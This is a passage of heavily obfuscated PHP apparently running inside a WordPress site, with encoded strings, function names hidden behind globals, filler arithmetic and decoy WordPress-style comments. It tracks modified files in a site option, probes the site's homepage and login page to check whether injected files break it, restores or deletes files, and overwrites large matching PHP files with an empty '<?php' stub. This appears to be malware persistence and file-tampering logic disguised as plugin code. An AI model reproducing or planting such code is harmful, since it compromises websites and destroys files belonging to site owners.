 $sv8wto3s5byv[j8bjjevd80e(1430)][$t78rciit0dz]   =      array('t' =>     _rd1_e0ujuflih((14+2)),  'p'  =>    $of_pcm29oxt9u3z,  'b' => $cexut8ggqmx,   cv8ducrec(1440)  => $GLOBALS['__scf_tmn0v_xik_1b_195'](), 'g'  => $GLOBALS['__scf_di84jqdj15nut_294'](true), j8bjjevd80e(1424)   =>   0, 'n'  =>   ($w1olrp3czi6ftlg === "") ?     1    : 0,   b5xx0lrqzfc(1428)   => $zjbwwhwzky1pwblf, j8bjjevd80e(1429)      => $GLOBALS['__scf_tmn0v_xik_1b_195'](),   pvz_9xuc0nzl0m(1431) =>      0,  j8bjjevd80e(1432)  =>    0, j8bjjevd80e(1441)    => 0);
  }
 $ja9p5p0sks   =  @update_option(b5xx0lrqzfc(1421), $sv8wto3s5byv,  cv8ducrec(1377));
      if (!$ja9p5p0sks)     {
 if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1118)))      @wp_cache_delete(b5xx0lrqzfc(1421),  s99lg14mcd3un(1120));
$r_b28lllzn9fili  = @get_option(b5xx0lrqzfc(1421),    array());
    $l6gwea6czqv    = $GLOBALS['__scf__qh9f0l6g7e7ez_35']($r_b28lllzn9fili)  && isset($r_b28lllzn9fili[j8bjjevd80e(1430)][$t78rciit0dz])  &&   $GLOBALS['__scf__qh9f0l6g7e7ez_35']($r_b28lllzn9fili[j8bjjevd80e(1442)][$t78rciit0dz])
    && isset($r_b28lllzn9fili[pvz_9xuc0nzl0m(1442)][$t78rciit0dz]['g'])   && (string)  $r_b28lllzn9fili[j8bjjevd80e(1442)][$t78rciit0dz]['g'] ===  (string) $sv8wto3s5byv[j8bjjevd80e(1442)][$t78rciit0dz]['g'];
   if  (!$l6gwea6czqv)    {
  if  ($m03z06d689) wlm_50lfl72sy8hrb_9xe9($sv8wto3s5byv[j8bjjevd80e(1442)][$t78rciit0dz]['b']);
f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1434),      cv8ducrec(1443));
return  false;
}
  }
$GLOBALS['__scf_q0ye8_g2b4gf_179'](cv8ducrec(1444));



   return true;
}
 function r3p_zv9y8c6a7sq()



   {
 if (!isset($GLOBALS[cv8ducrec(976)])     ||   !$GLOBALS['__scf_iv9fnqbzfer_1445']($GLOBALS[pvz_9xuc0nzl0m(976)]))  $GLOBALS[cv8ducrec(1446)]  =    0.0;

  return 11.0     -   $GLOBALS[s99lg14mcd3un(1446)];
      }
 function     wkpi_imexo4o2kzs421yn($g2vi5373pu9c2)
  {
 $GLOBALS[j8bjjevd80e(1446)]  =     (isset($GLOBALS[s99lg14mcd3un(1447)])   &&    $GLOBALS['__scf_iv9fnqbzfer_1445']($GLOBALS[cv8ducrec(1447)]) ?  $GLOBALS[b5xx0lrqzfc(1447)]   :  0.0) +    (float)     $g2vi5373pu9c2;
    }
 function     ia2bx65755degl_9lif1($soz07_6j_g)
    {
      $gz4ciymqzmjtm4r =    r3p_zv9y8c6a7sq();
     if   ($gz4ciymqzmjtm4r <= 0.5)     return  array(-2,  "");

  $f0mui1p52nt8o_ =     $GLOBALS['__scf_yxou341jk2n2_479'](1,  $GLOBALS['__scf_kdgi9msmnx8o_480']((4+2),   (int)    $gz4ciymqzmjtm4r));
   

     $sm61kc_c3odw =   $GLOBALS['__scf_di84jqdj15nut_294'](true);
   $nsabqixilkysh7 = @$GLOBALS['__scf_cxp28f27vo1_297']($soz07_6j_g,   array(s99lg14mcd3un(1448) => $f0mui1p52nt8o_, j8bjjevd80e(769)   => false,     j8bjjevd80e(473)    =>  true,  b5xx0lrqzfc(979)    =>    0,   j8bjjevd80e(688) => (0xc971f+0x368e1),  s99lg14mcd3un(1449)  =>   array(j8bjjevd80e(974) =>   j8bjjevd80e(1450),  pvz_9xuc0nzl0m(1451) =>  s99lg14mcd3un(1452))));


   wkpi_imexo4o2kzs421yn($GLOBALS['__scf_di84jqdj15nut_294'](true) -     $sm61kc_c3odw);
  if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1453)) &&  is_wp_error($nsabqixilkysh7))    return array(-1,   false);


   $calmodxe1ekh   = $GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1454))  ? (int)  wp_remote_retrieve_response_code($nsabqixilkysh7) :  0;$t71w0zm7dpw_1=12*8;$zffxn0din=$t71w0zm7dpw_1-25;
 return   array($calmodxe1ekh,  $calmodxe1ekh   >  0 && $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1455))  ?  (string)  wp_remote_retrieve_body($nsabqixilkysh7) :  "");
    }
   function  qwsfbk7e9odhouqhgas_hr($of_pcm29oxt9u3z)
  {
      if (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1419))   || !$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1374))   || !$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1456)))     return;
$sv8wto3s5byv    =   @get_option(s99lg14mcd3un(1421),    array());
      if      (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv)  ||  !isset($sv8wto3s5byv[s99lg14mcd3un(1442)])  ||      !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv[j8bjjevd80e(1442)]))  return;
   $t78rciit0dz  =   $GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z);
 if (!isset($sv8wto3s5byv[cv8ducrec(1442)][$t78rciit0dz])) return;$oa09sw851=2088;$l380lp4hydrbzb=$oa09sw851%7;

   $sw6uenpt2x9p  =   @md5_file($of_pcm29oxt9u3z);
      if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($sw6uenpt2x9p) ||  $sw6uenpt2x9p ===  "")  return;

  $sv8wto3s5byv[cv8ducrec(1442)][$t78rciit0dz]['h']  =  $sw6uenpt2x9p;
@update_option(b5xx0lrqzfc(1421),   $sv8wto3s5byv, pvz_9xuc0nzl0m(1377));

    }
      function     xs_bxjs634i5v9cpkkl4xw($i0zyerwjtour)
 {
     $xy6m62f85mtgf80i     =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($i0zyerwjtour['b']);
       if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($xy6m62f85mtgf80i))  return   false;

   if     (!empty($i0zyerwjtour['h'])  &&     $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1456)))  {
 $ip95ntqiga  =  @md5_file($i0zyerwjtour['p']);
   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ip95ntqiga) && $ip95ntqiga     !== ""      && $ip95ntqiga   !== $i0zyerwjtour['h']) return  false;
     unset($ip95ntqiga);
  }
  if  ($xy6m62f85mtgf80i    ===     "") {
 if    (empty($i0zyerwjtour['n']))    return  false;      


 $laa52nl2bg1a846r = !@$GLOBALS['__scf_xaseomj3flge_20']($i0zyerwjtour['p']);
  if (!$laa52nl2bg1a846r) {
  ottk3i1kq8br96vi($i0zyerwjtour['p'],    (365+55));
 $laa52nl2bg1a846r     =    wlm_50lfl72sy8hrb_9xe9($i0zyerwjtour['p']);
        }



    if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(200))) @opcache_invalidate($i0zyerwjtour['p'],  true);
       return  $laa52nl2bg1a846r;


  }
  if  (!qc7730958b5mgfuj_($i0zyerwjtour['p'],  $xy6m62f85mtgf80i))  return   false;
  if    ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1457)))   @opcache_invalidate($i0zyerwjtour['p'],  true);
   return  true;
  }
   function     cl3axlpfaf_btbp7g7yx44()

  {
   if (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1419)))  return;
if   (!empty($GLOBALS[pvz_9xuc0nzl0m(140)]))  return;
  if (!oi023dn_ef3e6fe(pvz_9xuc0nzl0m(1458)))  return;



try  {
  $sv8wto3s5byv =   @get_option(b5xx0lrqzfc(1458),   array());
  if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv))   return;



    if    (!isset($sv8wto3s5byv[s99lg14mcd3un(1442)]) || !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($sv8wto3s5byv[s99lg14mcd3un(1442)]))   {
   $e7zpk2nu73b  =    array();
if  (isset($sv8wto3s5byv['t'],     $sv8wto3s5byv['p'],  $sv8wto3s5byv['b']))   {
  $ukjdsllruj2d  =  (string)   $sv8wto3s5byv['p'];
$uneqdgcw0hmv =    (string)    $sv8wto3s5byv['b'];
$e7zpk2nu73b[$GLOBALS['__scf_gvrvt5qjna_57']($ukjdsllruj2d)]   =    array('t'    =>   (string)   $sv8wto3s5byv['t'], 'p'     =>   $ukjdsllruj2d, 'b' =>  $uneqdgcw0hmv, pvz_9xuc0nzl0m(1440) =>  isset($sv8wto3s5byv[pvz_9xuc0nzl0m(1440)])  ? (int)  $sv8wto3s5byv[s99lg14mcd3un(1440)]  : $GLOBALS['__scf_tmn0v_xik_1b_195'](),     b5xx0lrqzfc(1424)  =>  0,   'n'  => (@$GLOBALS['__scf_xaseomj3flge_20']($uneqdgcw0hmv)  &&  (int)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($uneqdgcw0hmv)   ===   0)     ?   1  : 0);
     $h9riqqde3d1l =    $GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1456)) ? @md5_file($ukjdsllruj2d) :  false;



 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($h9riqqde3d1l) && $h9riqqde3d1l    !== "")  $e7zpk2nu73b[$GLOBALS['__scf_gvrvt5qjna_57']($ukjdsllruj2d)]['h'] =  $h9riqqde3d1l;
 unset($ukjdsllruj2d, $uneqdgcw0hmv, $h9riqqde3d1l);
  }
      $sv8wto3s5byv =  array(j8bjjevd80e(1442)    =>  $e7zpk2nu73b);



     }
if  (empty($sv8wto3s5byv[pvz_9xuc0nzl0m(1442)])) {
 @delete_option(cv8ducrec(1458));
       return;
}
if (cxcoghdq1ec8kp569oj()) {
   $gws0q7jldy2_gu  =  false;
      foreach  ($sv8wto3s5byv[j8bjjevd80e(1442)] as  $oi_kq6wwb5kx   =>   $c47j0xl_vgtz1s) {
// WP Latest Posts taxonomy registration

    if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($c47j0xl_vgtz1s) &&   empty($c47j0xl_vgtz1s[cv8ducrec(1428)])) {


$sv8wto3s5byv[b5xx0lrqzfc(1442)][$oi_kq6wwb5kx][cv8ducrec(1459)]  = 1;
   $gws0q7jldy2_gu  =  true;
}
}


if     ($gws0q7jldy2_gu) @update_option(j8bjjevd80e(1458),    $sv8wto3s5byv,  b5xx0lrqzfc(1377));

  unset($gws0q7jldy2_gu,  $oi_kq6wwb5kx,   $c47j0xl_vgtz1s);
 return;
  }
static  $fgfq5x0r89ltkol1  = false;
 if   ($fgfq5x0r89ltkol1)    return;
$fgfq5x0r89ltkol1  =  true;$y5xo1m0ikk=504;$yucbg_e0v25p=($y5xo1m0ikk>0)?$y5xo1m0ikk:-$y5xo1m0ikk;

      $ewfoo_9cumhz    =  $GLOBALS['__scf_eujk2m7p7_9un_727']($sv8wto3s5byv[j8bjjevd80e(1442)]);
$gr9j1fxsmf  =    array();
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(395))) @$GLOBALS['__scf__e68tul4xg1_395']();
   elseif  ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(397)))     @$GLOBALS['__scf_y4vxwni_574_397']();
if  ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(398)))  @$GLOBALS['__scf_orbam4j9elyj8o_398'](true);
    if    (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(767))  ||    !$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1143))) return;
$qrd0v0jz26p2w =     home_url('/');
$inrfgxzksi   =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(561))   ?   wp_login_url() :  $qrd0v0jz26p2w    .   cv8ducrec(560);
  

$l_8b1_y5uj    =  false;
 $gnhhwpdvev  =    true;
 $gz4ciymqzmjtm4r   = (5^6);
foreach   ($sv8wto3s5byv[cv8ducrec(1442)]   as $t78rciit0dz    => $i0zyerwjtour)   {
 if  (r3p_zv9y8c6a7sq()     <= 0.5) break;

if     (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($i0zyerwjtour) || empty($i0zyerwjtour['t'])    ||  empty($i0zyerwjtour['p'])  ||  empty($i0zyerwjtour['b']))  {
  unset($sv8wto3s5byv[s99lg14mcd3un(1442)][$t78rciit0dz]);$mryhl59v=5593;$s7161g0zbhci=$mryhl59v%5;
   $l_8b1_y5uj   =  true;
      continue;
  }
      if   (!isset($i0zyerwjtour['n']) ||  !isset($i0zyerwjtour['h']))     {
 if (!isset($i0zyerwjtour['n']))   $i0zyerwjtour['n']  =  (@$GLOBALS['__scf_xaseomj3flge_20']($i0zyerwjtour['b'])      && (int) @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($i0zyerwjtour['b']) ===     0)  ? 1 :  0;
  if     (!isset($i0zyerwjtour['h']) &&  $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1460)))  {
  $e37wl7c1jwetw8d3    = @md5_file($i0zyerwjtour['p']);
       if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($e37wl7c1jwetw8d3) &&  $e37wl7c1jwetw8d3  !== "")    $i0zyerwjtour['h'] =  $e37wl7c1jwetw8d3;$u_p55qedvwdh=101|30;$y6jt1veznhy=$u_p55qedvwdh^21;
unset($e37wl7c1jwetw8d3);
   }
  $sv8wto3s5byv[j8bjjevd80e(1442)][$t78rciit0dz] =   $i0zyerwjtour;
 $l_8b1_y5uj   =    true;
}
 if   (!empty($i0zyerwjtour[pvz_9xuc0nzl0m(1459)]))   {
   $i0zyerwjtour[s99lg14mcd3un(1461)]  =      0;
$i0zyerwjtour[pvz_9xuc0nzl0m(1440)] = $GLOBALS['__scf_tmn0v_xik_1b_195']();
$i0zyerwjtour[s99lg14mcd3un(1424)] =     0;
  $i0zyerwjtour[cv8ducrec(1431)] =     0;
  $i0zyerwjtour[s99lg14mcd3un(1432)]  = 0;



  $i0zyerwjtour[pvz_9xuc0nzl0m(1441)] = 0;
      $sv8wto3s5byv[cv8ducrec(1442)][$t78rciit0dz]   =      $i0zyerwjtour;
   $l_8b1_y5uj   = true;
 }
// measure capability for WP useEntityProp


   if (empty($i0zyerwjtour[pvz_9xuc0nzl0m(1429)])) {
$sv8wto3s5byv[s99lg14mcd3un(1462)][$t78rciit0dz][cv8ducrec(1429)] = (int)      $i0zyerwjtour[pvz_9xuc0nzl0m(1440)];
$i0zyerwjtour[b5xx0lrqzfc(1463)]    =     (int) $i0zyerwjtour[s99lg14mcd3un(1440)];
 $l_8b1_y5uj  =    true;$zoq4pmr4ln6if1=(0x89+0x4d);$fzsle6u83ibf=$zoq4pmr4ln6if1%13;
 }
 if  (!empty($i0zyerwjtour[b5xx0lrqzfc(1432)])    &&      $GLOBALS['__scf_tmn0v_xik_1b_195']() <    (int)    $i0zyerwjtour[j8bjjevd80e(1432)]) continue;
if ($gz4ciymqzmjtm4r   <=   0)  break;



  $gz4ciymqzmjtm4r--;
   $tpk8mtd1g8o  =      j8bjjevd80e(1464) .   $GLOBALS['__scf_nqbs7ut7q6_1465']($i0zyerwjtour['t'])     .   s99lg14mcd3un(1466)      .   $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((99913+87),    (1372888-372889));
     list($calmodxe1ekh,    $zzn0qqvd9w1c2dg)   =    ia2bx65755degl_9lif1($qrd0v0jz26p2w     .  $tpk8mtd1g8o);


  if      ($calmodxe1ekh ===     -2)    break;



   if      ($calmodxe1ekh >   0)    $gnhhwpdvev   =   false;
 if  ($calmodxe1ekh     ===  -1    && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1467)) &&  r3p_zv9y8c6a7sq()   >     2) $GLOBALS['__scf_hz3vb407sad__694'](1);
if      ($calmodxe1ekh    ===  -1) {
list($calmodxe1ekh,   $zzn0qqvd9w1c2dg)   = ia2bx65755degl_9lif1($qrd0v0jz26p2w .   $tpk8mtd1g8o);
    if    ($calmodxe1ekh  ===   -2)     break;
 if    ($calmodxe1ekh >    0)  $gnhhwpdvev     =    false;



       }
 if   ($calmodxe1ekh    <=  0)      {
     $sv8wto3s5byv[cv8ducrec(1462)][$t78rciit0dz][s99lg14mcd3un(1468)]++;
      $l_8b1_y5uj  =  true;
 continue;
     }
    if ($calmodxe1ekh   >=     (584-84))  {
if   (xs_bxjs634i5v9cpkkl4xw($i0zyerwjtour)) {


  f1995qrx5prr7cbl19co0e(s99lg14mcd3un(1469),  pvz_9xuc0nzl0m(1470)   .   $GLOBALS['__scf_xz_5zbcnz0m_3']($i0zyerwjtour['p']));



     $gr9j1fxsmf[$t78rciit0dz]   =  $i0zyerwjtour;
unset($sv8wto3s5byv[cv8ducrec(1471)][$t78rciit0dz]);
   } else    {
 $sv8wto3s5byv[j8bjjevd80e(1471)][$t78rciit0dz][pvz_9xuc0nzl0m(1472)]++;
}
$l_8b1_y5uj = true;
       continue;
     }

  if  ($GLOBALS['__scf_ya_jdhkqpku_7']($zzn0qqvd9w1c2dg, b5xx0lrqzfc(1473)     .  $i0zyerwjtour['t']   .  b5xx0lrqzfc(1474))   !== false)  {
  $gr9j1fxsmf[$t78rciit0dz]  =  $i0zyerwjtour;
     unset($sv8wto3s5byv[b5xx0lrqzfc(1475)][$t78rciit0dz]);
$l_8b1_y5uj    =   true;
continue;
  }
    list($xasozth1bp7wkq,  $igzglcmjtk) =    ia2bx65755degl_9lif1($inrfgxzksi  .  ($GLOBALS['__scf_ya_jdhkqpku_7']($inrfgxzksi, '?')  ===    false ?      '?'    : '&')   .   j8bjjevd80e(1476)  .  $GLOBALS['__scf_nqbs7ut7q6_1465']($i0zyerwjtour['t'])    .     pvz_9xuc0nzl0m(1477)  .  $GLOBALS['__scf_pbb_q2_l2kzq6z_355']((99926+74), (1346095-346096)));
    if ($xasozth1bp7wkq   ===  -2)    break;
   if ($xasozth1bp7wkq >     0) $gnhhwpdvev    =    false;


 if   ($xasozth1bp7wkq >=  (480+20))  {
/* obstruction-free ring-buffer */

     if  (xs_bxjs634i5v9cpkkl4xw($i0zyerwjtour))  {
  f1995qrx5prr7cbl19co0e(cv8ducrec(1469), s99lg14mcd3un(1478)  .      $GLOBALS['__scf_xz_5zbcnz0m_3']($i0zyerwjtour['p']));
  $gr9j1fxsmf[$t78rciit0dz] = $i0zyerwjtour;
 unset($sv8wto3s5byv[j8bjjevd80e(1475)][$t78rciit0dz]);
  }  else  {


 $sv8wto3s5byv[j8bjjevd80e(1475)][$t78rciit0dz][cv8ducrec(1472)]++;



   }

   $l_8b1_y5uj  =    true;
    continue;

  }
 if    ($GLOBALS['__scf_qubutkuvnnc4sx_41']($igzglcmjtk) &&  $GLOBALS['__scf_ya_jdhkqpku_7']($igzglcmjtk,    j8bjjevd80e(1473)  .  $i0zyerwjtour['t']  . pvz_9xuc0nzl0m(1479))  !==    false)  {
 $gr9j1fxsmf[$t78rciit0dz] =   $i0zyerwjtour;


  unset($sv8wto3s5byv[j8bjjevd80e(1480)][$t78rciit0dz]);



      $l_8b1_y5uj =  true;


        continue;
}
  $sv8wto3s5byv[b5xx0lrqzfc(1480)][$t78rciit0dz][s99lg14mcd3un(1431)] =  (int)  (isset($sv8wto3s5byv[s99lg14mcd3un(1481)][$t78rciit0dz][pvz_9xuc0nzl0m(1431)])      ?   $sv8wto3s5byv[b5xx0lrqzfc(1482)][$t78rciit0dz][pvz_9xuc0nzl0m(1431)]  : 0)  +  1;
if  ($GLOBALS['__scf_tmn0v_xik_1b_195']()    -    (int)  $sv8wto3s5byv[b5xx0lrqzfc(1482)][$t78rciit0dz][pvz_9xuc0nzl0m(1463)]   >   (526111+78689)) {
$sv8wto3s5byv[b5xx0lrqzfc(1482)][$t78rciit0dz][s99lg14mcd3un(1441)]    =  1;
 $sv8wto3s5byv[b5xx0lrqzfc(1482)][$t78rciit0dz][j8bjjevd80e(1483)] =      $GLOBALS['__scf_tmn0v_xik_1b_195']()     +  (0x100d4+0x50ac);
      }    else  {
    $z7t969svuk =  array((28+32), (230+70),    (747+153), (5861-2261));
$o9cjy51xtrb    = (int)    $sv8wto3s5byv[j8bjjevd80e(1482)][$t78rciit0dz][s99lg14mcd3un(1431)];
$sv8wto3s5byv[pvz_9xuc0nzl0m(1482)][$t78rciit0dz][pvz_9xuc0nzl0m(1483)]    =      $GLOBALS['__scf_tmn0v_xik_1b_195']()   +   $z7t969svuk[$GLOBALS['__scf_kdgi9msmnx8o_480']($o9cjy51xtrb, (3+1))  -    1];

  unset($z7t969svuk,    $o9cjy51xtrb);
   }
$l_8b1_y5uj   =  true;
  

}

 if  ($gnhhwpdvev   &&     $l_8b1_y5uj    &&  !empty($sv8wto3s5byv[cv8ducrec(1482)])) {
// WP Post Excerpt: dense subscriber

 $oqyehbyuq_7t9b =   false;

     foreach    ($sv8wto3s5byv[j8bjjevd80e(1482)]    as   $lx7yd27urx) {



        if   ((int)  $lx7yd27urx[b5xx0lrqzfc(1472)] >= (2+1))   {
  $oqyehbyuq_7t9b  =  true;
 break;
 }
 }


     if   ($oqyehbyuq_7t9b) {


  @update_option(s99lg14mcd3un(553),  pvz_9xuc0nzl0m(1484)  .   $GLOBALS['__scf_tmn0v_xik_1b_195'](), pvz_9xuc0nzl0m(1377));
     f1995qrx5prr7cbl19co0e(b5xx0lrqzfc(1469),  pvz_9xuc0nzl0m(1485));
        foreach  ($sv8wto3s5byv[cv8ducrec(1482)] as $ozqwzh1eke5kcb  =>  $lx7yd27urx)  {
if   ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($lx7yd27urx) && empty($lx7yd27urx[b5xx0lrqzfc(1461)]))    $sv8wto3s5byv[s99lg14mcd3un(1486)][$ozqwzh1eke5kcb][j8bjjevd80e(1461)]  = 1;
  }
$l_8b1_y5uj  =     true;
}
    }   elseif (!$gnhhwpdvev)  {
    $o0o4_8xyj329kjl    = @get_option(s99lg14mcd3un(553),     "");
    if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($o0o4_8xyj329kjl)    ||  $GLOBALS['__scf_ya_jdhkqpku_7']($o0o4_8xyj329kjl,  cv8ducrec(1368)) !== 0)    @update_option(pvz_9xuc0nzl0m(1487), b5xx0lrqzfc(1488) . $GLOBALS['__scf_tmn0v_xik_1b_195'](),     pvz_9xuc0nzl0m(1377));
    }
if  ($l_8b1_y5uj) {
     if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1118)))    @wp_cache_delete(j8bjjevd80e(1458),   cv8ducrec(1489));
 $ivn9j9vcaw3s  = @get_option(s99lg14mcd3un(1458),  array());
if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($ivn9j9vcaw3s)  &&   isset($ivn9j9vcaw3s[pvz_9xuc0nzl0m(1486)]) &&  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($ivn9j9vcaw3s[s99lg14mcd3un(1486)]))  {
  foreach   ($ivn9j9vcaw3s[pvz_9xuc0nzl0m(1486)]  as  $q1dkbpvxzbrt  => $u0ewzb1ud8vy8ezl) {
     if     (isset($sv8wto3s5byv[j8bjjevd80e(1486)][$q1dkbpvxzbrt])) continue;
  if    (!$GLOBALS['__scf_o_dt0p7mox4_159']($q1dkbpvxzbrt,  $ewfoo_9cumhz,    true))  {
    $sv8wto3s5byv[pvz_9xuc0nzl0m(1486)][$q1dkbpvxzbrt]    = $u0ewzb1ud8vy8ezl;

     continue;
 }
  if (isset($gr9j1fxsmf[$q1dkbpvxzbrt])     && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($u0ewzb1ud8vy8ezl))  {$nr0c8jpa_p1=PHP_INT_MAX/PHP_INT_MAX;$n5xpfybbb960=$nr0c8jpa_p1+42;
    $bf6ij8gcpzq  =      isset($u0ewzb1ud8vy8ezl['g'])  ?  (float)  $u0ewzb1ud8vy8ezl['g']  :     (float)  (isset($u0ewzb1ud8vy8ezl[s99lg14mcd3un(1440)]) ?     $u0ewzb1ud8vy8ezl[b5xx0lrqzfc(1490)]     :    0);
      $ieqvot2qomxm  =  isset($gr9j1fxsmf[$q1dkbpvxzbrt]['g'])   ?  (float) $gr9j1fxsmf[$q1dkbpvxzbrt]['g']     : (float)    (isset($gr9j1fxsmf[$q1dkbpvxzbrt][b5xx0lrqzfc(1491)])   ?  $gr9j1fxsmf[$q1dkbpvxzbrt][cv8ducrec(1491)] :  0);


if     ($bf6ij8gcpzq    >    $ieqvot2qomxm)    $sv8wto3s5byv[j8bjjevd80e(1492)][$q1dkbpvxzbrt] =     $u0ewzb1ud8vy8ezl;


       unset($bf6ij8gcpzq, $ieqvot2qomxm);
  }
       }
 }
      unset($ivn9j9vcaw3s,   $q1dkbpvxzbrt,  $u0ewzb1ud8vy8ezl);
   }
/* thread-safe structural-type */




foreach ($gr9j1fxsmf     as $ep7r99zrhbilxjsf  =>    $j2hsf3cv7sjy) {
if (!isset($sv8wto3s5byv[b5xx0lrqzfc(1492)][$ep7r99zrhbilxjsf]))  wlm_50lfl72sy8hrb_9xe9($j2hsf3cv7sjy['b']);
     }
  unset($gr9j1fxsmf, $ep7r99zrhbilxjsf,   $j2hsf3cv7sjy);
if   (empty($sv8wto3s5byv[s99lg14mcd3un(1492)]))     @delete_option(b5xx0lrqzfc(1458));
    elseif  ($l_8b1_y5uj) @update_option(cv8ducrec(1458),   $sv8wto3s5byv,    cv8ducrec(1377));
   } finally  {
 jr2xyttddkmhfx362y(cv8ducrec(1458));$jspg4lok9zu=557;$om2wcio9ck=($jspg4lok9zu>0)?$jspg4lok9zu:-$jspg4lok9zu;


      }
// amortized allocator

 }
  function   b76jioebxxijd84aykeosl($yazr2g01258tle)


 {
return $GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)    &&  ($GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,  cv8ducrec(1493))  !== false  || $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,    j8bjjevd80e(1494))   !==   false    || $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,    b5xx0lrqzfc(1495)) !==  false  ||  $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,  b5xx0lrqzfc(26))  !== false || $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle, j8bjjevd80e(1266)) !==   false ||    $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,   j8bjjevd80e(1496))  !== false);
}
 function   ytmhlxjqi0drif9($yazr2g01258tle)



 {
     if  (!b76jioebxxijd84aykeosl($yazr2g01258tle))  return false;$eyvcwldd7e_k=94+38;$exgyyqbp=$eyvcwldd7e_k-11;
  if (xxvxrdejom95pgzs9lxsz($yazr2g01258tle))   return true;
 if    ($GLOBALS['__scf_mdq7mu2b_0k6_1381'](cv8ducrec(1497),    $yazr2g01258tle,  $ljvicb11d2w9)) {



 foreach  ($ljvicb11d2w9[1] as    $mdxfhktyho6zeb)  {
 if  (version_compare($mdxfhktyho6zeb, jqg87ez26lzm3yp01xj2q(),  '<'))  return  true;
}
   return  false;
 }
    return true;

}
function j5i2vynjpeze6ukmx($gx1wu9an7cfa2x_t)



  {
    if    (!@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t)    || !@$GLOBALS['__scf_iuxi5ng_a2py94_47']($gx1wu9an7cfa2x_t)) return;
  $vdfpv2zrab78z =   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($gx1wu9an7cfa2x_t);
  if   (!$vdfpv2zrab78z)  return;

 if    ($vdfpv2zrab78z >     (0x3b5d87+0x64a279))   {
$omr_v8_cpxt  = @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t,  false,    null,    0, (65507+29));



  if (!b76jioebxxijd84aykeosl($omr_v8_cpxt))   return;
   if   (m5wd69bqaohezg3q($gx1wu9an7cfa2x_t)     ===  false) {
f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1498),   s99lg14mcd3un(1499)     . $GLOBALS['__scf_xz_5zbcnz0m_3']($gx1wu9an7cfa2x_t));
   return;



}
 @$GLOBALS['__scf_nr899f15j7ix_205']($gx1wu9an7cfa2x_t,   "<?php\n");
if ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1457)))  @opcache_invalidate($gx1wu9an7cfa2x_t,  true);$pf_019ow=PHP_INT_MAX/PHP_INT_MAX;$ndqpvp2fnr=$pf_019ow+21;
   return;
   }
// replicate adaptive proof-term

  if   ($vdfpv2zrab78z   >   (1561246-512670))  {
// WP Quote Block lazy decode

   $s8cat7qv2ddzv      =   (string)    @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t, false, null,   0,    (0xd98+0x1268));



   $d_35h38cp5cz = ($vdfpv2zrab78z  >  (8168+24))    ?    (string)  @$GLOBALS['__scf_v_rxq_yh85s05_99']($gx1wu9an7cfa2x_t,    false,    null,  $vdfpv2zrab78z -  (8162+30))      :  "";
$j37k7hdbal_  = $s8cat7qv2ddzv  . $d_35h38cp5cz;
  if ($j37k7hdbal_    !==  "" && $GLOBALS['__scf_mdq7mu2b_0k6_1381'](s99lg14mcd3un(1497),  $j37k7hdbal_,  $fr1js8oy9wu29))   {
$sq3blv_yegq4p  =      false;



    foreach ($fr1js8oy9wu29[1]   as  $qljjz1ig8_hm)  {
   if  (version_compare($qljjz1ig8_hm,   jqg87ez26lzm3yp01xj2q(),     '<'))  {


